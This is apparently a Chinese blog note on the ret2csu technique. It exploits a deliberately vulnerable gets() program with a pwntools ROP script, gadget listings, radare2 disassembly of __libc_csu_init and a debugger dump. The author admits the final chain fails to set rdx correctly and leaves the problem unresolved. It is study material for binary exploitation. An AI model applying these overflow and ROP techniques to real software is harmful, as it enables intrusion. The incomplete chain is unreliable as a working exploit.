ret2csu
漏洞程序
#include <stdio.h>
int win(int x, int y, int z) {
if(z == 0xdeadbeefcafed00d) {
puts("Awesome work!");
}
}
int main() {
puts("Come on then, ret2csu me");
char input[30];
gets(input);
return 0;
}
利用分析
常规利用
- 溢出控制rip指向gadget
- gadget负责执行win 利用代码:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
log.info(f'win addr is : {hex(elf.sym.win)}')
offset = 40
rop = ROP(elf)
rop.raw(offset * 'a')
rop.win(0,0,0xdeadbeefcafed00d)
p.recv()
p.sendline(rop.chain())
result = p.recvline()
log.info(result)
上述代码基于一个假设存在可以构建gadget的情况,但实际情况是
[ERROR] Could not satisfy setRegisters({'rdi': 0, 'rsi': 0, 'rdx': 16045690984503103501})
所以,缺少gadget的情况下无法成功利用。
└─$ ROPgadget --binary ./vuln --depth 20 |grep rdx
0x000000000040100a : add byte ptr [rax - 0x7b], cl ; sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040109a : add byte ptr [rbx + rdx - 0x48], dh ; add byte ptr [rax], al ; add byte ptr [rax], al ; test rax, rax ; je 0x4010b0 ; mov edi, 0x404020 ; jmp rax
0x0000000000401099 : add byte ptr [rbx + rdx - 0x48], sil ; add byte ptr [rax], al ; add byte ptr [rax], al ; test rax, rax ; je 0x4010b0 ; mov edi, 0x404020 ; jmp rax
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
ret2csu
- 切换利用环境 ====
为演示漏洞原理,切换到环境:
- ubuntu 16.04
- gcc 5.4.0
# gcc --version
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- 构建gadget ====
- 定位__libc_csu_init
[0x7f074cbf19c0]> afl
0x00400470 1 42 entry0
0x00400440 1 6 sym.imp.__libc_start_main
0x004004a0 4 50 -> 41 sym.deregister_tm_clones
0x004004e0 4 58 -> 55 sym.register_tm_clones
0x00400520 3 28 sym.__do_global_dtors_aux
0x00400540 4 38 -> 35 entry.init0
0x00400610 1 2 sym.__libc_csu_fini
0x00400614 1 9 sym._fini
0x004005a0 4 101 sym.__libc_csu_init
0x00400566 1 16 sym.win
0x00400576 1 42 main
0x00400430 1 6 sym.imp.puts
0x00400450 1 6 sym.imp.gets
0x00400400 3 26 sym._init
0x00400460 1 6 sym..plt.got
__libc_csu_init:
[0x00400630]> pdf
; DATA XREF from entry0 @ 0x4004d6
┌ 101: sym.__libc_csu_init (int64_t arg1, int64_t arg2, int64_t arg3);
│ ; arg int64_t arg1 @ rdi
│ ; arg int64_t arg2 @ rsi
│ ; arg int64_t arg3 @ rdx
│ 0x00400630 4157 push r15
│ 0x00400632 4156 push r14
│ 0x00400634 4189ff mov r15d, edi ; arg1
│ 0x00400637 4155 push r13
│ 0x00400639 4154 push r12
│ 0x0040063b 4c8d25ce0720. lea r12, obj.__frame_dummy_init_array_entry ; loc.__init_array_start
│ ; 0x600e10
│ 0x00400642 55 push rbp
│ 0x00400643 488d2dce0720. lea rbp, obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end
│ ; 0x600e18 ; "p\x05@"
│ 0x0040064a 53 push rbx
│ 0x0040064b 4989f6 mov r14, rsi ; arg2
│ 0x0040064e 4989d5 mov r13, rdx ; arg3
│ 0x00400651 4c29e5 sub rbp, r12
│ 0x00400654 4883ec08 sub rsp, 8
│ 0x00400658 48c1fd03 sar rbp, 3
│ 0x0040065c e8d7fdffff call sym._init
│ 0x00400661 4885ed test rbp, rbp
│ ┌─< 0x00400664 7420 je 0x400686
│ │ 0x00400666 31db xor ebx, ebx
│ │ 0x00400668 0f1f84000000. nop dword [rax + rax]
│ ┌──> 0x00400670 4c89ea mov rdx, r13
│ ╎│ 0x00400673 4c89f6 mov rsi, r14
│ ╎│ 0x00400676 4489ff mov edi, r15d
│ ╎│ 0x00400679 41ff14dc call qword [r12 + rbx*8]
│ ╎│ 0x0040067d 4883c301 add rbx, 1
│ ╎│ 0x00400681 4839eb cmp rbx, rbp
│ └──< 0x00400684 75ea jne 0x400670
│ └─> 0x00400686 4883c408 add rsp, 8
│ 0x0040068a 5b pop rbx
│ 0x0040068b 5d pop rbp
│ 0x0040068c 415c pop r12
│ 0x0040068e 415d pop r13
│ 0x00400690 415e pop r14
│ 0x00400692 415f pop r15
└ 0x00400694 c3 ret
- rdx相关的gadget
0x00400666 31db xor ebx, ebx
0x00400668 0f1f84000000. nop dword [rax + rax]
0x00400670 4c89ea mov rdx, r13
0x00400673 4c89f6 mov rsi, r14
0x00400676 4489ff mov edi, r15d
0x00400679 41ff14dc call qword [r12 + rbx*8]
rdx_gadget = 0x4005e0
- r13相关的gadget
0x0040068c 415c pop r12
0x0040068e 415d pop r13
0x00400690 415e pop r14
0x00400692 415f pop r15
0x00400694 c3 ret
- rw内存块
[0x7fa521d849c0]> dcu main
Continue until 0x00400576 using 1 bpsize
hit breakpoint at: 0x400576
[0x00400576]> dm
0x0000000000400000 - 0x0000000000401000 * usr 4K s r-x /home/kali/exploits/ret2csu/vuln /home/kali/exploits/ret2csu/vuln ; map._home_kali_exploits_ret2csu_vuln.r_x
0x0000000000600000 - 0x0000000000601000 - usr 4K s r-- /home/kali/exploits/ret2csu/vuln /home/kali/exploits/ret2csu/vuln ; map._home_kali_exploits_ret2csu_vuln.rw_
0x0000000000601000 - 0x0000000000602000 - usr 4K s rw- /home/kali/exploits/ret2csu/vuln /home/kali/exploits/ret2csu/vuln ; obj._GLOBAL_OFFSET_TABLE_
0x00007fa521b6f000 - 0x00007fa521b72000 - usr 12K s rw- unk0 unk0
...
[0x004005f0]> pxq @ 0x0000000000601000
0x00601000 0x0000000000600e28 0x00007f76ad6632e0 (.`......2f.v...
0x00601010 0x00007f76ad642220 0x0000000000400476 "d.v...v.@.....
0x00601020 0x0000000000400486 0x00007f76ad45f1c0 ..@.......E.v...
0x00601030 0x00000000004004a6 0x0000000000000000 ..@.............
0x00601040 0x0000000000000000 0x0000000000000000 ................
RW_LOC = 0x00601040
- rop链
rop偏移 | rop内容 |
---|---|
+ 00 | gets(RW_LOC) |
+ x1 | 0x0040068c == (pop r12; pop r13; pop r14; pop r15;ret) |
+ x2 | RW_LOC |
+ x3 | 0xdeadbeefcafed00d |
+ x4 | 0 |
+ x5 | 0 |
+ x6 | 0x00400666 == (…,mov rdx,r13; mov rsi,r14; mov rdi, r15d; call qword [r12 + rbx*8]) |
pwn
$rax : 0x0000000000601040 → 0x00000000004005b6 → <win+0> push rbp
$rbx : 0x0
$rcx : 0x00007ffff7f9fa80 → 0x00000000fbad2088
$rdx : 0xdeadbeefd00d
$rsp : 0x00007fffffffe330 → 0x0000000000000000
$rbp : 0x6161616161616161 ("aaaaaaaa"?)
$rsi : 0x0
$rdi : 0x0
$rip : 0x0000000000400679 → <__libc_csu_init+73> call QWORD PTR [r12+rbx*8]
$r8 : 0x00000000006026b9 → 0x6161616161616161 ("aaaaaaaa"?)
$r9 : 0x0
$r10 : 0x1000
$r11 : 0x246
$r12 : 0x0000000000601040 → 0x00000000004005b6 → <win+0> push rbp
$r13 : 0xdeadbeefd00d
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe330│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe338│+0x0008: 0x00007ffff7ffd020 → 0x00007ffff7ffe2e0 → 0x0000000000000000
0x00007fffffffe340│+0x0010: 0x41680a62223e4950
0x00007fffffffe348│+0x0018: 0x41681a23655a4950
0x00007fffffffe350│+0x0020: 0x0000000000000000
0x00007fffffffe358│+0x0028: 0x0000000000000000
0x00007fffffffe360│+0x0030: 0x0000000000000000
0x00007fffffffe368│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40066f <__libc_csu_init+63> add BYTE PTR [rcx+rcx*4-0x16], cl
0x400673 <__libc_csu_init+67> mov rsi, r14
0x400676 <__libc_csu_init+70> mov edi, r15d
→ 0x400679 <__libc_csu_init+73> call QWORD PTR [r12+rbx*8]
由于编译环境的问题,win函数始终不能正确表达逻辑,此问题暂时搁置。
参考
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_09_ret2csu/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。